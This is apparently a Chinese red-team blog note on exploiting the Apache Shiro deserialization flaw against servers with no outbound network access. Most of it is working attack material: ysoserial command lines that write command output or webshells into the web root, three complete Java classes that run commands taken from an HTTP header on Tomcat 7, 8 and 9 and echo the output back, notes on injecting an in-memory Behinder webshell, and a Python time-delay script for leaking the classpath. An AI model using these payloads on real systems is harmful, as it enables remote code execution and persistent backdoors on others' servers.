Shiro反序列化漏洞笔记四(实战篇)

0x1 前言

在做红蓝对抗、攻防演练时经常会发现Shiro反序列化漏洞,在进行漏洞攻击时利用难度取决于服务器是否可以出网。在可以出网的情况下一般都能很快获取权限,在不能出网时就比较麻烦了。碰到一些比较艰难的环境也用过一些很笨的方法去解决,虽然过程时间比较长,效率慢,但最终成功的拿下目标权限时的成就感是不言而喻的。

最近大家讨论得比较火的Java反序列化的回显和内存webshell使得很多Java反序列化漏洞在利用过程中遇到的难题引刃而解。看了大佬们各种思路方法,真是八仙过海,各显神通。

这篇笔记主要记录一下Shiro反序列化漏洞实战时遇到不出网环境的解决思路,也顺便总结学习一下大佬们的一些方法。

0x2 解决方法

1.定位Web目录写入文件

这种方法之前在命令执行漏洞总结这篇笔记提过,但在实际运用时还需要考虑一些问题。

因为这种办法还是依赖于执行命令来解决问题,因此要区分操作系统,需要考虑Linux和Windows操作系统下命令的差异。

首先可以先寻找一个存在的静态资源文件,然后搜索静态资源文件定位Web目录,再借助管道符来往Web目录写入执行命令的结果或者直接写入webshell。

1
2
3
4
5
Linux:
find /|grep check.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done

Windows:
for /r D:\ %i in (check.js*) do whoami > %i/../test.txt

但是直接将上面的命令传入ysoserial的command参数生成payload是不成功的,因为ysoserial在构造命令执行时使用的是java.lang.Runtime.getRuntime().exec(command),这种命令执行方式和在直接在shell里面执行是不一样的,这种方式不支持重定向符>。

1
2
3
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

对于这个问题是比较容易解决的,如果目标操作系统是Linux可以使用$@使得Runtime.getRuntime().exec(command)支持重定向符。如使用以下方式生成Shiro反序列化漏洞利用的Exp执行whoami命令并往Web目录写入命令执行的结果。

1
python shiro_exp.py `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 'sh -c $@|sh . echo find /|grep style.css|while read f;do sh -c whoami>$(dirname $f)/test.txt;done'|base64`

也可以使用base64编码来解决,先将命令进行base64编码然后替换下面的base64_string部分。

1
python shiro_exp.py `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 'bash -c {echo,base64_string}|{base64,-d}|{bash,-i}'|base64`

然而上面两种方法并不能解决Windows的问题,其实只需要对ysoserial进行简单修改,使得传入java.lang.Runtime.getRuntime().exec()的参数为数组形式即可,最终传入命令变成了:

1
java.lang.Runtime.getRuntime().exec(new java.lang.String[]{"/bin/sh","-c","find / | grep style.css | while read f;do sh -c whoami >$(dirname $f)/test.txt;done"});

2.构造回显

很多大佬在网上分享了各种构造回显的方法,这里简单总结一下:
《linux下java反序列化通杀回显方法的低配版实现》,思路很奇特,通过获取socket对应的文件描述符,把命令结果写到文件描述符中获得回显,但是局限性比较大。
《Tomcat中一种半通用回显方法》,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,将修改后的Request和Response记录到ThreadLocal中。
《tomcat不出网回显连续剧第六集》,从register寻找Request。
《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》,通过WebappClassLoader寻找Request和Response,但是这种方法不支持Tomcat7,因为在Tomcat7中通过Thread.currentThread.getContextClassLoader()无法获取到StandardService。
《半自动化挖掘request实现多种中间件回显》,c0ny1大佬写的半自动化工具java-object-searcher,通过线程对象搜索Request,通过这个工具可以挖掘各种中间件的回显利用链。
《基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)》,通过线程对象搜索HttpServletRequest和HttpServletResponse,和c0ny1大佬的思路差不多,这个可以自动化实现多个中间件通用,不用自己再去寻找回显利用链。实际运用中可能也会遇到一些问题,大佬也来回改了好几版。

这里就用java-object-searcher来学习一下Tomcat的回显方法吧。本地搭了Tomcat 7.0.106、8.5.56、9.0.19三个环境,搜索Request对象结果如下:
Tomcat 7.0.106:

1
2
3
4
5
6
7
8
9
10
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [12] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.JIoEndpoint$Acceptor}
---> this$0 = {org.apache.tomcat.util.net.JIoEndpoint}
---> handler = {org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
---> processors = {java.util.ArrayList<org.apache.coyote.RequestInfo>}
---> [0] = {org.apache.coyote.RequestInfo}

Tomcat 8.5.56:

1
2
3
4
5
6
7
8
9
10
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [14] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
---> processors = {java.util.ArrayList<org.apache.coyote.RequestInfo>}
---> [0] = {org.apache.coyote.RequestInfo}

Tomcat 9.0.19

1
2
3
4
5
6
7
8
9
10
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [17] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
---> processors = {java.util.List<org.apache.coyote.RequestInfo>}
---> [0] = {org.apache.coyote.RequestInfo}

从得到的结果看,Tomcat 8.5.56和Tomcat 9.0.19的结果基本是一样的,不同的地方可能就在于可寻找到Request的线程名,Tomcat 7.0.106虽然不一样,差异也不是很大,但是这三个结果不能完全代表Tomcat 7,8,9,具体到某一些版本的实现上面也是有差异的。

这里先以Tomcat 7.0.106为例,参照c0ny1大佬的思路构造一下回显EXP。先根据Tomcat 7.0.106的搜索结果,动态调试一下。

http-bio-8090-Acceptor-0和http-bio-8090-AsyncTimeout这两个线程都能找到Request。

最终回显EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.io.*;
import org.apache.coyote.Request;

public class Tomcat7Echo extends AbstractTranslet {
public Tomcat7Echo(){
try {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field field = group.getClass().getDeclaredField("threads");
field.setAccessible(true);

Thread[] threads = (Thread[]) field.get(group);

for(Thread thread:threads){
String name = thread.getName();
if(name.contains("http") && name.contains("Acceptor")){
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
Object obj = field.get(thread);

field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);

ArrayList processors = (ArrayList) obj;

for(int m=0;m<processors.size();m++){
Object o = processors.get(m);
if(o != null && o.getClass().toString().contains("RequestInfo")){
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);

if(!obj.toString().contains("null")) {
Request request = (Request) obj;
String cmd = request.getHeader("cmd");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buff = new byte[1024];
int rc = 0;
while ((rc = in.read(buff, 0, 1024)) > 0) {
byteArrayOutputStream.write(buff, 0, rc);
}
byte[] buf = byteArrayOutputStream.toByteArray();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
request.getResponse().doWrite(bc);
}
}
}
}
}

}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

再来看一下Tomcat 8.5.56和Tomcat 9.0.19。
Tomcat 8.5.56可寻找Request的线程名为http-nio-8090-ClientPoller-0、http-nio-8090-ClientPoller-1、http-nio-8090-Acceptor-0和http-nio-8090-AsyncTimeout。

Tomcat 9.0.19可寻找Request的线程名为http-nio-8090-ClientPoller-0和http-nio-8090-ClientPoller-1。

和Tomcat 7.0.106不同的是,Tomcat 8.5.56和Tomcat 9.0.19默认使用的是NioEndpoint组件,而Tomcat 7.0.106使用的是JIoEndpoint。handler是直接在JIoEndpoint类定义的成员变量,而对于NioEndpoint类中则是在父类的父类AbstractEndpoint中定义的。如果需要通过反射获取关键的Field,可以考虑通过不断遍历父类去获取。

另外,在Tomcat 7.0.106中org.apache.coyote.Response#doWrite()方法传入的参数类型为ByteChunk类型,而在Tomcat 8.5.56和Tomcat 9.0.19参数类型为ByteBuffer。

Tomcat 8.5.56和Tomcat 9.0.19回显EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import org.apache.coyote.Request;
import java.io.*;

public class Tomcat9Echo extends AbstractTranslet {
public Tomcat9Echo(){
try {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field field = group.getClass().getDeclaredField("threads");
field.setAccessible(true);

Thread[] threads = (Thread[]) field.get(group);

for(Thread thread:threads){
String name = thread.getName();
if(name.contains("http") && name.contains("Poller")){
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
Object obj = field.get(thread);

field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);


field = obj.getClass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);

ArrayList processors = (ArrayList) obj;

for(int m=0;m<processors.size();m++){
Object o = processors.get(m);
if(o != null && o.getClass().toString().contains("RequestInfo")){
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);

if(!obj.toString().contains("null")) {
Request request = (Request) obj;
String cmd = request.getHeader("cmd");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buff = new byte[1024];
int rc = 0;
while ((rc = in.read(buff, 0, 1024)) > 0) {
byteArrayOutputStream.write(buff, 0, rc);
}
byte[] buf = byteArrayOutputStream.toByteArray();

request.getResponse().doWrite(ByteBuffer.wrap(buf));
}
}
}
}
}

}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

综合考虑以上不同版本出现的异同,可以写一个通用大多Tomcat 7,8,9版本的回显EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.io.*;

public class TomcatEcho extends AbstractTranslet {

public TomcatEcho() {
try {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getObj(group, "threads");
label:
for(Thread thread:threads) {
String name = thread.getName();
if(name.contains("http") && !name.contains("exec")) {
ArrayList processors = (ArrayList) getObj(getObj(getObj(getObj(getObj(thread, "target"),"this$0"), "handler"), "global"), "processors");
for (int m=0; m<processors.size();m++) {
Object o = processors.get(m);
if (o.getClass().toString().contains("RequestInfo")) {
Object req = getObj(o, "req");
if(!req.toString().contains("null")) {
Object resp = req.getClass().getMethod("getResponse").invoke(req);
String cmd = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, "X-Protection");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bs = new ByteArrayOutputStream();
byte[] buff = new byte[1024];
int rc = 0;
while ((rc = in.read(buff, 0, 1024)) > 0) {
bs.write(buff, 0, rc);
}
byte[] buf = bs.toByteArray();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
Object bc = cls.newInstance();
cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(bc, buf, new Integer(0), new Integer(buf.length));
resp.getClass().getMethod("doWrite", cls).invoke(resp, bc);
break label;
} catch (NoSuchMethodException e) {
Class cls = Class.forName("java.nio.ByteBuffer");
Object bc = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, buf);
resp.getClass().getMethod("doWrite", cls).invoke(resp, bc);
break label;
}

}
}
}

}
}

} catch (Exception e) {
}
}

private static Object getObj(Object obj, String str) throws Exception {
Class cls = obj.getClass();
Field field = null;
while (true) {
try {
field = cls.getDeclaredField(str);
break;
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}
if (field !=null ){
field.setAccessible(true);
return field.get(obj);
} else {
throw new NoSuchFieldException(str);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

Shiro反序列化漏洞利用成功构造回显:

3.写入无文件webshell

关于无文件webshell,总结了网上大佬的思路,主要可以分为几种:
• 基于Servlet规范,通过动态注册Servlet、Filter、Listener等方式实现无文件webshell。参考《基于tomcat的内存 Webshell 无文件攻击技术》
• 基于特定框架,如Spring注入controller、Filter等方式实现无文件webshell。参考《基于内存 Webshell 的无文件攻击技术研究》
• 基于Java Instrumemtation,如rebeyong大佬写的memShell。参考《利用“进程注入”实现无文件复活 WebShell》

实现无文件webshell,具体到Shiro反序列化漏洞的利用需要注意的是在Tomcat中间件下如果生成的payload太长,会超过Tomcat默认的maxHeaderSize大小,导致请求失败。解决方法可以参考《Java代码执行漏洞中类动态加载的应用》的思路,通过自定义ClassLoader,将要加载的字节码放在POST请求的参数中,从而避免了直接在Header插入全部payload导致超过长度限制。

如下,通过动态注册Filter实现无文件冰蝎webshell。

修改冰蝎,对payload下的所有equals方法进行修改,去掉需要依赖jsp的PageContext。

成功注入无文件冰蝎webshell。

4.时间延迟获取Web路径写入webshell

相较前面的三种方法,使用时间延迟算是比较通用的方法了,不需要考虑中间件差异等问题。如下面写了一个比较简单粗暴的二分法时间延迟实现获取classpath。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def BinarySearch(target, index, left, right, lowerStdLimit):
while True:
mid = (left + right)/2
if mid == left:
return chr(mid)
break
code1 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(5000L);
}
""" % (index, mid)

code2 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(0000L);
}
""" % (index, mid)

code1_base64 = base64.b64encode(code1)
re_value1 = poc(code1_base64)

code2_base64 = base64.b64encode(code2)
re_value2 = poc(code2_base64)

time1 = resp_time(target, re_value1)


if time1 > lowerStdLimit:
time2 = resp_time(target, re_value2)
if time2 <= lowerStdLimit:
right = mid
else:
left = mid
else:
left = mid

通过时间盲注获取classpath。